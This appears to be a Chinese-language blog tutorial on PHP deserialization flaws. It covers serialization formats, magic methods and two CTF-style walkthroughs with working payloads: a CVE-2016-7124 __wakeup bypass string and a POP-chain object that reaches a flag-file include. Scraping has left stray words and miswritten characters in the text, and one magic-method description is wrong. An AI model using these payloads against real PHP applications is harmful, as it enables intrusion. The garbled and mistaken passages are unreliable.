如今咱们都会在淘宝上买桌子,这时候通常都会把它拆掉成板子,再装到箱子里面,就能够快递寄出去了,这个过程就相似咱们的序列化的过程(把数据转化为能够存储或者传输的形式)。当买家收到货后,就须要本身把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。php
也就是说,序列化的目的是方便传输和存储。html
在PHP应用中,序列化和反序列化通常用作缓存,好比session,cookie等。c++
PHP序列化:php为了方便进行数据的传输,容许把复杂的数据结构,压缩到一个字符串中,使用serialize()
函数。数组
PHP反序列化:将被压缩为字符串的复杂数据结构,从新恢复,使用unserialize()
函数。缓存
PHP反序列化漏洞:若是代码中使用了反序列化 unserialize()
函数,而且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么能够经过在本地构造序列化字符串,同时利用PHP中的一系列magic方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。cookie
<?php $str='Theoyu'; $bool=true; $null=NULL; $arr=array('a'=>1,'b'=>2); class A { public $x; private $y; public function __construct($x,$y) { $this->x=$x; $this->y=$y; } } $test=new A(3,"theoyu"); echo(serialize($str).'</br>'); //s:6:"Theoyu"; echo(serialize($bool).'</br>'); //b:1; echo(serialize($null).'</br>'); //N; echo(serialize($arr).'</br>'); //a:2{s:1:"a";i:1;s:1:"b";i:2;} echo(serialize($test).'</br>'); //O:1:"A":2:{s:1:"x";i:3;s:4:"Ay";s:6:"theoyu";} ?>
序列化对不一样类型获得的字符串格式为:session
string : s:size:value;数据结构
Integer: i:value;函数
Boolean b:value;(1 or 0)ui
NULL N;
Array a:size:{key definition;value definition;······}definition 相似string or Integer
Object O:类名长度:"类名":属性数量:{属性类型:属性名长度:属性名:value definition······}
PHP中把比双下划线__开头的方法称为魔术方法,这些发在达到某些条件时会自动被调用:
__construct():类的构造函数,当一个类被建立时自动调用
__destruct)(),类的析构函数,当一个类被销毁时自动调用
__sleep(),执行serialize()进行序列化时,先会调用这个函数
__wakeup(),执行unserialize()进行反序列化时,先会调用这个函数
__toString(),当把一个类看成函数使用时自动调用
__invoke(),当把一个类看成函数使用时自动调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),得到一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
相似c++的构造函数
须要指出,PHP不支持构造函数重载,因此一个类只能声明一个构造函数!
同上,相似c++..
serialize()函数会检查类中是否存在一个魔术方法__sleep(),若是存在,则该方法会优先被调用。
<?php class Person { public $name; public $sex; public $age; public function __construct($name,$sex,$age) { $this->name=$name; $this->sex=$sex; $this->age=$age; } public function __sleep() { echo"我是__sleep()函数,我被调用了,你觉得你还叫theoyu?<br>"; $this->name=base64_encode($this->name); return array('name','sex');//没有返回age } } $person =new Person('theoyu','男','20'); echo serialize($person) ?>
输出:
我是__sleep()函数,我被调用了,你觉得你还叫theoyu? O:6:"Person":2 :{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
没有年龄。
unserialize()前会检查是否存在__wakeup(),若是存在会优先调动。
和__sleep()相比,不须要返回数组。
<?php class Person { public $name; public $sex; public $age; public function __construct($name,$sex,$age) { $this->name=$name; $this->sex=$sex; $this->age=$age; } public function __sleep() { echo"我是__sleep()函数,我被调用了,你觉得你还叫theoyu?<br>"; $this->name=base64_encode($this->name); return array('name','sex'); } public function __wakeup() { echo"我是__wakeup()函数,你从新拥有了你的名字<br>"; $this->name=base64_decode(base64_decode($this->name)); //这里须要两次解码,由于__sleep()调用了两次 } } $person =new Person('theoyu','男','20'); echo serialize($person)."<br>"; var_dump(unserialize(serialize($person))); ?>
输出:
我是__sleep()函数,我被调用了,你觉得你还叫theoyu? O:6:"Person":2:{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";} 我是__sleep()函数,我被调用了,你觉得你还叫theoyu? 我是__wakeup()函数,你从新拥有了你的名字 object(Person)#2 (3) { ["name"]=> string(6) "theoyu" ["sex"]=> string(3) "男" ["age"]=> NULL }
...突然发现好中二= =
__toString()用于一个对象被看成字符串时应该如何回应,应该显示什么。
__toSrring()必须返回一个字符串。
zhegnv<?php class A { public $test; public function __construct($test) { $this->test=$test; } function __toString() { $str="this is __toString"; return $str; //__toString() must return a string value } } $a=new A(3); echo $a; //this is __toString ?>
<?php class A { public $test; public function __construct($test) { $this->test=$test; } function __invoke() { echo "this is __invoke"; } } $a=new A(3); $a(); //this is __invoke ?>
<?php class A { public $test; public function __construct($test) { $this->test=$test; } function __call($funcion_name,$arguments) { echo"你调用的函数:".$funcion_name."(参数:"; print_r($arguments); //数组要用print_r() echo ")不存在!"; } } $a=new A(3); $a->person('name','age','sex'); //你调用的函数:person(参数:Array ( [0] => name [1] => age [2] => sex ) )不存在! ?>
CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
要求版本:PHP5<5.6.25 PHP7<7.0.10
index.php:
<?php class loudong { public $file ='index.php'; function __destruct() { if(!empty($this->file)) { if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) { echo"<br>"; show_source(dirname(__FILE__).'/'.$this->file); } else die('Wrong filename'); } } function __wakeup() { $this->file='index.php'; } function __toString() { return 'this is tostring'; } } if(!isset($_GET['file'])) { show_source('index.php'); } else { $file=$_GET['file']; echo unserialize($file); } ?> <!-- key in flag.php -->
分析其中的几个函数strchr('a','b'):在a中搜索字串b,搜索成功返回剩下字串,失败return false。
代码审计
这里须要用到CVE-2016-7124漏洞
当序列化字符串中表示对象属性个数大于真实的属性个数或值类型不匹配时会跳过__wakeup的执行.
O:7:"loudong":1:{s:4:"file";s:8:"flag.php";}
O:7:"loudong":2:{s:4:"file";s:8:"flag.php";}
//或i:8:"flag.php均可一道考察多方面的题
<?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { include"flag.php"; } } $a = $_GET['string']; unserialize($a); ?>
如何在一个类中实例化另外一个类呢?利用类的构造函数,只要第一个类被实例化就会自动实例化咱们须要另外构造的类。
思路:
最后构造!
<?php class start_gg { public $mod1; public function __construct() { $this->mod1 = new Call(); } } class Call { public $mod1; public function __construct() { $this->mod1 = new funct(); } } class funct { public $mod1; public function __construct() { $this->mod1 = new func(); } } class func { public $mod1; public function __construct() { $this->mod1 = new string1(); } } class string1 { public $str1; public function __construct() { $this->str1 = new GetFlag(); } } class GetFlag {} $a = new start_gg(); echo serialize($a); //O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}} ?>
payload serialize($a),获得flag。
参考:
突然感受本身效率很低,原本两天就能作完的,拖了快一个星期...
10月校赛的wp也还没完成
唉~
最后呢,给你们推一首曲子:ふるさとの匂い—吉森信
是《夏目友人账》曲子欸 很治愈的
嗯